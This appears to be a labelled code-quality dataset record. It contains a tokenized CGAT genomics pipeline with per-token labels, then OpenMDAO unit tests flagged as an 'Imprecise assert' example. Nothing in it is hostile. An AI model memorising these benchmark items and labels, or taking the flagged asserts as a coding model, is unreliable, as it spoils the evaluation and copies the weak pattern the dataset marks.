"me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2g", "ff", ".", "py", " ", "--", "method", "=", "promo", "tors", " ", "--", "promo", "tor", "=", "1", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2b", "ed", ".", "py", " ", "--", "is", "-", "gtf", " ", "--", "name", "=", "gene", "\\u", "id", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "gzip", "\\", "10", ";", " ", " ", " ", " ", ">", " ", "%", "(", "outfile", ")", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "(_", "build", "Transcript", "TS", "S_", ",_", "build", "Gene", "TS", "S_", ",_", "build", "Gene", "TS", "SI", "nter", "val_", ",_", "build", "Non", "codi", "ng", "Gene", "TS", "S_", ")_", ",_", "suffix_", "(_", "\".", "bed", ".", "gz", "\"_", ")_", ",_", "\".", "extend", "ed", ".", "bed", ".", "gz", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Extend", "Region_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "convert", " ", "bed", " ", "to", " ", "gtf", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "gun", "zip", " ", "<", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "slo", "p", "Bed", " ", "-", "i", " ", "std", "in", " ", "-", "g", " ", "%", "(", "fai", "dx", ")", "s", " ", "-", "b", " ", "1000", " ", " ", "\\", "10", ";", " ", "|", " ", "gzip", "\\", "10", ";", " ", ">", " ", "%", "(", "outfile", ")", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "(_", "build", "Transcript", "TS", "S_", ",_", "build", "Gene", "TS", "S_", ",_", "build", "Gene", "TS", "SI", "nter", "val_", ",_", "build", "Non", "codi", "ng", "Gene", "TS", "S_", ",_", "Extend", "Region_", ")_", ",_", "suffix_", "(_", "\".", "bed", ".", "gz", "\"_", ")_", ",_", "\".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "convert", "To", "GT", "F_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "convert", " ", "bed", " ", "to", " ", "gtf", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "gun", "zip", " ", "<", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2g", "ff", ".", "py", " ", "--", "as", "-", "gtf", " ", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", ">", " ", "%", "(", "outfile", ")", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "files_", "(_", "\"", "pipeline", ".", "ini", "\"_", ",_", "\"", "ensembl", ".", "copy", ".", "log", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "copy", "Ens", "embl", "_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "convert", " ", "bed", " ", "to", " ", "gtf", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "dir_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "dir", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "cp", " ", "%", "(", "ensembl", "\\u", "dir", ")", "s", "/", "repeat", "s", ".", "gtf", " ", "gene", "set", "/", " ", "2", ">", " ", "%", "(", "outfile", ")", "s", ";", "\\", "10", ";", " ", "cp", " ", "%", "(", "ensembl", "\\u", "dir", ")", "s", "/", "go", ".", "tsv", ".", "gz", " ", "gene", "set", "/", " ", "2", ">", " ", "%", "(", "outfile", ")", "s", ";", "\\", "10", ";", " ", "cp", " ", "%", "(", "ensembl", "\\u", "dir", ")", "s", "/", "gos", "lim", ".", "tsv", ".", "gz", " ", "gene", "set", "/", " ", "2", ">", " ", "%", "(", "outfile", ")", "s", ";", "\\", "10", ";", " ", "cp", " ", "%", "(", "ensembl", "\\u", "dir", ")", "s", "/", "go", "\\u", "ontology", ".", "obo", " ", "gene", "set", "/", " ", "2", ">", " ", "%", "(", "outfile", ")", "s", ";", "\\", "10", ";", " ", "cp", " ", "%", "(", "ensembl", "\\u", "dir", ")", "s", "/", "gos", "lim", ".", "obo", " ", "gene", "set", "/", " ", "2", ">", " ", "%", "(", "outfile", ")", "s", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "files_", "(_", "\"", "pipeline", ".", "ini", "\"_", ",_", "\"", "ensembl", "db", ".", "copy", ".", "log", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "copy", "Ens", "embl", "Db_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "copy", " ", "tables", " ", "from", " ", "ensembl", " ", "databa", "se", " ", "to", " ", "rna", "seq", " ", "databa", "se", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table", "\\u", "list_", "=_", "P_", "._", "as", "List_", "(_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "tables", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbh", "andle", "_", "=_", "sqlite3_", "._", "connect_", "(_", "PARAMS_", "[_", "\"", "databa", "se", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "=_", "dbh", "andle", "_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "\"\"\"", "ATTACH", " ", "\"%", "s", "\"", " ", "as", " ", "ensembl", ";\"\"\"_", "%_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "db", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "._", "execute_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "table_", "in_", "table", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cc_", "=_", "dbh", "andle", "_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "\"\"\"", "CREATE", " ", "TAB", "LE", " ", "%", "s", " ", "AS", " ", "SELECT", " ", "*", " ", "FROM", " ", "ensembl", ".", "%", "s", ";\"\"\"_", "%_", "(_", "table_", ",_", "table_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "._", "execute_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cc_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "touch", " ", "%", "(", "outfile", ")", "s", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "load", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "load", "\"_", ")_", ",_", "\"", "gene", "\\u", "name", ".", "update", ".", "log", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update", "Gene", "Name_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "update", " ", "gene", " ", "name", " ", "from", " ", "ensembl", " ", "databa", "se", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbh", "andle", "_", "=_", "sqlite3_", "._", "connect_", "(_", "PARAMS_", "[_", "\"", "databa", "se", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "=_", "dbh", "andle", "_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "\"\"\"", "ATTACH", " ", "\"%", "s", "\"", " ", "as", " ", "ensembl", ";\"\"\"_", "%_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "db", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "._", "execute_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "\"\"\"", "UPDATE", " ", "transcri", "pt", "\\u", "info", " ", "SET", " ", "gene", "\\u", "name", "=", "\\", "10", ";", " ", " ", " ", "(", "SELECT", " ", "gene", "\\u", "name", " ", "from", " ", "ensembl", ".", "transcri", "pt", "\\u", "info", " ", "\\", "10", ";", " ", " ", " ", "WHE", "RE", " ", "transcri", "pt", "\\u", "info", ".", "gene", "\\u", "id", "=", "ensembl", ".", "transcri", "pt", "\\u", "info", ".", "gene", "\\u", "id", ");", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "._", "execute_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "touch", " ", "%", "(", "outfile", ")", "s", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
OpenMDAO/OpenMDAO/openmdao/core/test/test_problem.py
[ { "content": " def test_conflicting_connections(self):\n # verify we get an error if we have conflicting implicit and explicit connections\n root = Group()\n\n # promoting G1.x will create an implicit connection to G3.x\n # this is a conflict because G3.x (aka G3.C4.x) is already connected\n # to G3.C3.x\n G2 = root.add('G2', Group(), promotes=['x']) # BAD PROMOTE\n G2.add('C1', IndepVarComp('x', 5.), promotes=['x'])\n\n G1 = G2.add('G1', Group(), promotes=['x'])\n G1.add('C2', ExecComp('y=x*2.0'), promotes=['x'])\n\n G3 = root.add('G3', Group(), promotes=['x'])\n G3.add('C3', ExecComp('y=x*2.0'))\n G3.add('C4', ExecComp('y=x*2.0'), promotes=['x'])\n\n root.connect('G2.G1.C2.y', 'G3.C3.x')\n G3.connect('C3.y', 'x')\n\n prob = Problem(root)\n\n try:\n prob.setup(check=False)\n except Exception as error:\n msg = \"Target 'G3.C4.x' is connected to multiple unknowns: ['G2.C1.x', 'G3.C3.y']\"\n self.assertTrue(msg in str(error))\n else:\n self.fail(\"Error expected\")", "metadata": "root.TestProblem.test_conflicting_connections", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_check_connections(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_state('y', np.zeros((2,)), shape=(2,))\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('y', np.zeros((3,)), shape=(3,))\n\n class C(Component):\n def __init__(self):\n super(C, self).__init__()\n self.add_state('y', np.zeros((2,)))\n\n class D(Component):\n def __init__(self):\n super(D, self).__init__()\n self.add_param('y', np.zeros((2,)))\n\n class E(Component):\n def __init__(self):\n super(E, self).__init__()\n self.add_param('y', 1.0)\n\n # Type mismatch error message\n type_err = \"Type <type '%s'> of source %s\" \\\n \" must be the same as \" \\\n \"type <type '%s'> of target %s.\"\n\n # Type mismatch in explicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('A', A())\n prob.root.add('E', E())\n\n prob.root.connect('A.y', 'E.y')\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n expected = py3fix(type_err % ('numpy.ndarray', \"'A.y'\", 'float', \"'E.y'\"))\n self.assertEqual(str(cm.exception), expected)\n\n # Type mismatch in implicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('A', A(), promotes=['y'])\n prob.root.add('E', E(), promotes=['y'])\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n expected = py3fix(type_err % ('numpy.ndarray', \"'A.y' (y)\", 'float', \"'E.y' (y)\"))\n self.assertEqual(str(cm.exception), expected)\n\n # Shape mismatch error message\n shape_err = \"Shape %s of source %s\" \\\n \" must be the same as \" \\\n \"shape %s of target %s.\"\n\n # Shape mismatch in explicit connection\n prob = Problem()\n prob.root = Group()\n\n prob.root.add('A', A())\n prob.root.add('B', B())\n prob.root.connect('A.y', 'B.y')\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'A.y'\", '(3,)', \"'B.y'\")\n self.assertTrue(expected in raised_error)\n\n # Shape mismatch in implicit connection\n prob = Problem()\n prob.root = Group()\n\n prob.root.add('A', A(), promotes=['y'])\n prob.root.add('B', B(), promotes=['y'])\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'A.y' (y)\", '(3,)', \"'B.y' (y)\")\n self.assertTrue(expected in raised_error)\n\n # Shape mismatch in explicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('B', B())\n prob.root.add('C', C())\n prob.root.connect('C.y', 'B.y')\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'C.y'\", '(3,)', \"'B.y'\")\n self.assertTrue(expected in raised_error)\n\n # Shape mismatch in implicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('B', B(), promotes=['y'])\n prob.root.add('C', C(), promotes=['y'])\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'C.y' (y)\", '(3,)', \"'B.y' (y)\")\n self.assertTrue(expected in raised_error)\n\n # Explicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('A', A())\n prob.root.add('D', D())\n prob.root.connect('A.y', 'D.y')\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)\n\n # Implicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('A', A(), promotes=['y'])\n prob.root.add('D', D(), promotes=['y'])\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)\n\n # Explicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('C', C())\n prob.root.add('D', D())\n prob.root.connect('C.y', 'D.y')\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)\n\n # Implicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('C', C(), promotes=['y'])\n prob.root.add('D', D(), promotes=['y'])\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "metadata": "root.TestProblem.test_check_connections", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 284 }, { "content": " def test_src_idx_neg(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_output('y', np.zeros((5,)), shape=(5,))\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('x', np.zeros((3,)), shape=(3,))\n\n # src_indices larger than src\n prob = Problem(root=Group())\n prob.root.add(\"A\", A())\n prob.root.add(\"B\", B())\n prob.root.connect(\"A.y\", \"B.x\", src_indices=[0, 1, -1])\n try:\n prob.setup(check=False)\n except Exception as err:\n self.assertTrue(\"'B.x' src_indices contains a negative index (-1).\" in str(err))\n else:\n self.fail(\"Exception expected\")", "metadata": "root.TestProblem.test_src_idx_neg", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 505 }, { "content": " def test_src_idx_gt_src_size(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_output('y', np.zeros((5,)), shape=(5,))\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('x', np.zeros((3,)), shape=(3,))\n\n # src_indices larger than src\n prob = Problem(root=Group())\n prob.root.add(\"A\", A())\n prob.root.add(\"B\", B())\n prob.root.connect(\"A.y\", \"B.x\", src_indices=[1,4,5])\n try:\n prob.setup(check=False)\n except Exception as err:\n self.assertTrue(\"'B.x' src_indices contains an index (5) that exceeds the bounds \"\n \"of source variable 'A.y' of size 5.\" in str(err))\n else:\n self.fail(\"Exception expected\")", "metadata": "root.TestProblem.test_src_idx_gt_src_size", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 528 }, { "content": " def test_scalar_sizes(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_param('x', shape=1)\n self.add_output('y', shape=1)\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('x', shape=2)\n self.add_output('y', shape=2)\n\n class C(Component):\n def __init__(self):\n super(C, self).__init__()\n self.add_param('x', shape=3)\n self.add_output('y', shape=3)\n\n # Scalar Values\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', 0., shape=1), promotes=['x'])\n root.add('A1', A(), promotes=['x'])\n root.add('A2', A())\n root.connect('A1.y', 'A2.x')\n prob.setup(check=False)\n\n # Array Values\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', np.zeros(2), shape=2), promotes=['x'])\n root.add('B1', B(), promotes=['x'])\n root.add('B2', B())\n root.connect('B1.y', 'B2.x')\n prob.setup(check=False)\n\n # Mismatched Array Values\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', np.zeros(2), shape=2), promotes=['x'])\n root.add('B1', B(), promotes=['x'])\n root.add('C1', C())\n root.connect('B1.y', 'C1.x')\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n expected = \"Shape (2,) of source 'B1.y' must be the same as \" \\\n \"shape (3,) of target 'C1.x'.\"\n self.assertTrue(expected in str(cm.exception))\n\n # Mismatched Scalar to Array Value\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', 0., shape=1), promotes=['x'])\n root.add('B1', B(), promotes=['x'])\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n expected = py3fix(\"Type <type 'float'> of source 'X.x' (x) must be the same as \"\n \"type <type 'numpy.ndarray'> of target 'B1.x' (x).\")\n self.assertEqual(expected, str(cm.exception))", "metadata": "root.TestProblem.test_scalar_sizes", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 678 }, { "content": " def test_check_parallel_derivs(self):\n\n prob = Problem()\n root = prob.root = Group()\n\n root.add('p1', IndepVarComp('a', 1.0), promotes=['*'])\n root.add('p2', IndepVarComp('b', 1.0), promotes=['*'])\n sub1 = root.add('sub1', Group(), promotes=['*'])\n sub1.ln_solver = LinearGaussSeidel()\n sub2 = sub1.add('sub2', Group(), promotes=['*'])\n sub2.add('comp', ExecComp(['x = 2.0*a + 3.0*b', 'y=4.0*a - 1.0*b']), promotes=['*'])\n sub2.ln_solver = LinearGaussSeidel()\n\n root.ln_solver.options['mode'] = 'fwd'\n sub1.ln_solver.options['mode'] = 'fwd'\n sub2.ln_solver.options['mode'] = 'fwd'\n\n prob.setup(check=False)\n prob.run()\n\n root.ln_solver = LinearGaussSeidel()\n root.ln_solver.options['single_voi_relevance_reduction'] = True\n prob.driver.add_desvar('p1.a', 1.0)\n prob.driver.add_constraint('x', upper=0.0)\n prob.driver.add_constraint('y', upper=0.0)\n with warnings.catch_warnings(record=True) as w:\n if not MPI:\n # suppress warning about not running under MPI\n warnings.simplefilter(\"ignore\")\n prob.driver.parallel_derivs(['x','y'])\n\n root.ln_solver.options['mode'] = 'rev'\n sub1.ln_solver.options['mode'] = 'rev'\n\n prob._setup_errors = []\n mode = prob._check_for_parallel_derivs(['a'], ['x'], True, False)\n\n msg = \"Group 'sub2' has mode 'fwd' but the root group has mode 'rev'. Modes must match to use parallel derivative groups.\"\n self.assertTrue(msg in prob._setup_errors[0])\n\n\n sub1.ln_solver.options['mode'] = 'fwd'\n sub2.ln_solver.options['mode'] = 'rev'\n\n\n prob._setup_errors = []\n mode = prob._check_for_parallel_derivs(['a'], ['x'], True, False)\n\n msg = \"Group 'sub1' has mode 'fwd' but the root group has mode 'rev'. Modes must match to use parallel derivative groups.\"\n self.assertTrue(msg in prob._setup_errors[0])\n\n\n sub1.ln_solver.options['mode'] = 'rev'\n mode = prob._check_for_parallel_derivs(['a'], ['x'], True, False)", "metadata": "root.TestProblem.test_check_parallel_derivs", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 779 }, { "content": " def test_iprint(self):\n\n top = Problem()\n top.root = SellarStateConnection()\n top.setup(check=False)\n\n base_stdout = sys.stdout\n\n try:\n ostream = cStringIO()\n sys.stdout = ostream\n top.run()\n finally:\n sys.stdout = base_stdout\n\n printed = ostream.getvalue()\n self.assertEqual(printed, '')\n\n # Turn on all iprints\n top.print_all_convergence()\n\n try:\n ostream = cStringIO()\n sys.stdout = ostream\n top.run()\n finally:\n sys.stdout = base_stdout\n\n printed = ostream.getvalue()\n self.assertEqual(printed.count('NEWTON'), 3)\n self.assertEqual(printed.count('GMRES'), 4)\n self.assertTrue('[root] NL: NEWTON 0 | ' in printed)\n self.assertTrue(' [root.sub] LN: GMRES 0 | ' in printed)", "metadata": "root.TestProblem.test_iprint", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 834 }, { "content": " def test_cycle(self):\n prob = Problem(root=Group())\n root = prob.root\n\n G1 = root.add(\"G1\", Group())\n G2 = G1.add(\"G2\", Group())\n G2.ln_solver = ScipyGMRES()\n\n C1 = G2.add(\"C1\", ExecComp('y=x*2.0'))\n C2 = G2.add(\"C2\", ExecComp('y=x*2.0'))\n C3 = G2.add(\"C3\", ExecComp('y=x*2.0'))\n\n G2.connect(\"C1.y\", \"C3.x\")\n G2.connect(\"C3.y\", \"C2.x\")\n G2.connect(\"C2.y\", \"C1.x\")\n\n # force wrong order\n G2.set_order(['C1', 'C2', 'C3'])\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n auto, _ = G2.list_auto_order()\n self.assertTrue(auto==['C1', 'C3', 'C2'] or\n auto==['C3', 'C2', 'C1'] or\n auto==['C2', 'C1', 'C3'])\n self.assertTrue(\"Group 'G1.G2' has the following cycles: [['C1', 'C2', 'C3']]\" in\n stream.getvalue())\n\n oo = checks['out_of_order']\n self.assertEqual(oo[0][0], 'G1.G2')\n expected = {\n ('C2','C3'): 'C1',\n ('C3',): 'C2',\n ('C2',): 'C1',\n }\n\n for node, afters in oo[0][1]:\n self.assertEqual(node, expected[tuple(afters)])", "metadata": "root.TestCheckSetup.test_cycle", "header": "['class', 'TestCheckSetup', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 951 } ]
